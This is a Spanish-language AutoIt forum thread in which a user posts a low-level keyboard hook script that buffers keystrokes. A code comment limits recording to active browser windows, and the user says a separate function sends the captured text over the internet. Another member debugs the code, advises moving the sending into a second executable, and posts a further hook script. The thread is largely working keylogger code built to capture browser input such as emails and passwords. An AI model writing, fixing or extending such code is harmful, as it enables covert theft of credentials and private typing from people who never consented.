Página 1 de 1

Imprimir las teclas que han sido presionadas

Publicado: 21 Sep 2015, 22:26
por yasmany
Un buen día con todos, estoy tratando de mostrar las teclas que han sido presionadas cada cierta cantidad.
Por ejemplo segun como lo hago, almaceno en una variable y reviso con un StringLen la cantidad de letras, en este ejemplo si ya sobre pasaron las 5 letras las muestra con ConsoleWrite y vacía la variable.
El problema es que sin esta condicional StringLeng (ultima funcion [Almacenar]) va de maravilla pero mostrando cada letra pulsada, y no logro que cada equis cantidad de letras, bueno si lo hace pero SOLO POR UNAS 3 o 4 veces y no se cual podria ser el error.

Agradezco su ayuda.

Código: Seleccionar todo

#include <WinAPISys.au3>
#include <WinAPIvkeysConstants.au3>
#include <MsgBoxConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <WinAPIDiag.au3>

;GRABAR TECLAS SOLO SI ESTA UNA VENTANA ACTIVA DE UN NAVEGADOR: MOZILLA, OPERA, CHROME, EXPLORER
Global $almacen
Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""

Local $UserDLL = DllOpen("user32.dll")
Example()

Func Example()
;~ 	OnAutoItExitRegister("Cleanup")
	Local $hMod
	$g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
	$hMod = _WinAPI_GetModuleHandle(0)
	$g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
	While 1
		If _IsPressed("12", $UserDLL) And _IsPressed("51", $UserDLL) Then
			almacenar("@")
			Sleep(100)
		ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BD", $UserDLL) Then
			almacenar("_")
			Sleep(100)
		ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BE", $UserDLL) Then
			almacenar(":")
			Sleep(100)
		ElseIf _IsPressed("09", $UserDLL) Then
			almacenar("	");TAB
			Sleep(100)
		EndIf
		Sleep(60)
	WEnd
	DllClose($UserDLL)
EndFunc   ;==>Example

Func _KeyProc($nCode, $wParam, $lParam)
	Local $aOnOff[2] = ['OFF', 'ON']
	Local $tKEYHOOKS, $charKey, $letra
	$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
	If $nCode < 0 Then
		Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
	EndIf
	If $wParam = $WM_KEYDOWN Then

	Else
		Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
		Switch $iFlags
			Case $LLKHF_ALTDOWN ;Alt y AltGr ; ;~
				ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)

			Case $LLKHF_EXTENDED ;~
				ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)

			Case $LLKHF_INJECTED ;~
				ConsoleWrite("$LLKHF_INJECTED" & @CRLF)

			Case $LLKHF_UP

				$charKey = DllStructGetData($tKEYHOOKS, "vkCode")
				;164 = ALT ----- 162 = AltGr
;~ 				ConsoleWrite( $charKey & @CRLF)
;~ 				ConsoleWrite( $charKey & '-')
				If $charKey = 164 Then
					If $charKey = 81 Then ConsoleWrite('@')
				EndIf

				If (($charKey > 47) And ($charKey < 58)) Or (($charKey > 95) And ($charKey < 106)) Then
					If $charKey = 48 Or $charKey = 96 Then almacenar('0')
					If $charKey = 49 Or $charKey = 97 Then almacenar('1')
					If $charKey = 50 Or $charKey = 98 Then almacenar('2')
					If $charKey = 51 Or $charKey = 99 Then almacenar('3')
					If $charKey = 52 Or $charKey = 100 Then almacenar('4')
					If $charKey = 53 Or $charKey = 101 Then almacenar('5')
					If $charKey = 54 Or $charKey = 102 Then almacenar('6')
					If $charKey = 55 Or $charKey = 103 Then almacenar('7')
					If $charKey = 56 Or $charKey = 104 Then almacenar('8')
					If $charKey = 57 Or $charKey = 105 Then almacenar('9')

				ElseIf Not StringIsAlpha(Chr($charKey)) Then
					If $charKey = 188 Then almacenar(',')
					If $charKey = 190 Then almacenar('.')
					If $charKey = 189 Then almacenar('-')
					If $charKey = 222 Then almacenar('{')
					If $charKey = 191 Then almacenar('}')
					If $charKey = 186 Then almacenar('´')
					If $charKey = 220 Then almacenar('|')
					If $charKey = 219 Then almacenar("'"); comilla simple
					If $charKey = 221 Then almacenar('¿');
					If $charKey = 106 Then almacenar('*')
					If $charKey = 109 Then almacenar('-')
					If $charKey = 32 Then almacenar(' ');espacio
					If $charKey = 13 Then almacenar(@CRLF);ENTER

				ElseIf $charKey = 109 Or $charKey = 189 Then
					almacenar('-')
				ElseIf StringIsAlpha(Chr($charKey)) Then
					$letra = Chr($charKey)
					If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
						If $charKey = 192 Then
							almacenar('ñ')
						Else
							almacenar(StringLower($letra))
						EndIf
					Else
						If $charKey = 192 Then
							almacenar('Ñ')
						Else
							almacenar(StringUpper($letra))
						EndIf
					EndIf
				EndIf
		EndSwitch
	EndIf
	Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc

Func _mostrar($datos)
	ConsoleWrite('MOSTRAR: ' & @CRLF & @CRLF & $datos & @CRLF & @CRLF)
EndFunc   ;==>_mostrar

Func almacenar($aux)
	$almacen &= $aux

	If StringLen($almacen) > 5 Then
		_mostrar($almacen)
		Sleep(500)
		$aux = ''
		$almacen = ''
	EndIf
	
EndFunc   ;==>almacenar

Func Cleanup()
	_WinAPI_UnhookWindowsHookEx($g_hHook)
	DllCallbackFree($g_hStub_KeyProc)
EndFunc   ;==>Cleanup
Al parecer no permite el SLEEP ya que luego de eso ya no quiere continuar y se queda pausado, intenté también el vacío de la variable almacen en la función MOSTRAR.
PERO IGUAL SIGUE SIN FUNCAR. :smt012

Re: Imprimir las teclas que han sido presionadas

Publicado: 22 Sep 2015, 18:07
por yasmany
Alguien que pueda ayudarme... :smt024

Re: Imprimir las teclas que han sido presionadas

Publicado: 22 Sep 2015, 18:24
por Dany
Yoooo el chapulin colorado :) :smt035

Estoy un pelin ocupado pero es un rato miro el codigo ;)

Saludos :smt027

Re: Imprimir las teclas que han sido presionadas

Publicado: 22 Sep 2015, 18:44
por Dany
Lo mire rápido. No coloques Sleeps dentro de callbacks quitando el sleep(500) de la función almacenar debería funcionar. :smt003


no te recomiendo que uses _ispressed junto a el Hook pues ya que con los Hook puedes coger todo ALt, ctrl,@ , etc...

Saludos

Re: Imprimir las teclas que han sido presionadas

Publicado: 22 Sep 2015, 19:54
por yasmany
es que le pongo el sleep porque a parte de eso hay una funcion que envia la información a traves de internet y esa funcion demora en enviar y ahí es cuando luego ya no sigue.
:smt021 :smt024

Re: Imprimir las teclas que han sido presionadas

Publicado: 22 Sep 2015, 20:00
por Dany
Pues entonces tendrás que crear una instancia nueva de tu aplicación para enviar los datos ya que AutoIt no soporta multithread.

Saludos

Re: Imprimir las teclas que han sido presionadas

Publicado: 22 Sep 2015, 20:09
por yasmany
osea creo otra ejecutable donde este se encargue solo de enviar, no? :smt024
tienes algun ejemplo de hooks, por ejemplo quiero que logre capturar la combinacion de ALT+64 que es el @

Re: Imprimir las teclas que han sido presionadas

Publicado: 25 Sep 2015, 16:54
por Dany
Disculpa pero si puedes usar _IsPressed :S no recordaba que internamente usa GetAsyncKeyState asi que si estaria bien hacerlo asi.

Pero mejor.

seria como algo If is pressed(alt) and not(ha sido soltada) verifico si he presionado 4 y luego 6 si es asi detected arroba (@) :smt023


Saludos :smt027

Re: Imprimir las teclas que han sido presionadas

Publicado: 25 Sep 2015, 17:34
por Dany
Y esta la forma que te decía que lo puedes hacer sin usar ispressed.

Código: Seleccionar todo

#include <MsgBoxConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>


Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
Global $iArroba = 0
Example()

Func Example()
	OnAutoItExitRegister("Cleanup")

	Local $hMod

	$g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
	$hMod = _WinAPI_GetModuleHandle(0)
	$g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)


	While 1
		Sleep(10)
	WEnd
EndFunc   ;==>Example


Func Salir($Key)
	If $Key = 27 Then Exit
EndFunc   ;==>Salir



Func _KeyProc($nCode, $wParam, $lParam)
	Local $tKEYHOOKS
	Local Static $iCount = 0
	$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
	If $nCode < 0 Then
		Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
	EndIf
	If $wParam = $WM_KEYDOWN Then
		Salir(DllStructGetData($tKEYHOOKS, "vkCode"))
	Else
		Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
		Switch $iFlags
			Case $LLKHF_ALTDOWN
				If (DllStructGetData($tKEYHOOKS, "vkCode")) <> 0xA4 Then
					If $iCount = 2 Then
						$iCount = 0
						$iArroba = 0
					EndIf
					$iArroba += (DllStructGetData($tKEYHOOKS, "vkCode"))
					$iCount += 1
				EndIf
			Case $LLKHF_UP
				If $iArroba = (0x66 + 0x64) Then
					ArrobasDetectados()
				EndIf
				$iArroba = 0
		EndSwitch
	EndIf
	Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc

Func Cleanup()
	_WinAPI_UnhookWindowsHookEx($g_hHook)
	DllCallbackFree($g_hStub_KeyProc)
EndFunc   ;==>Cleanup


Func ArrobasDetectados()
Local Static $i=1
ToolTip($i & " @ Detectado :)")
$i+=1
EndFunc

Saludos :smt027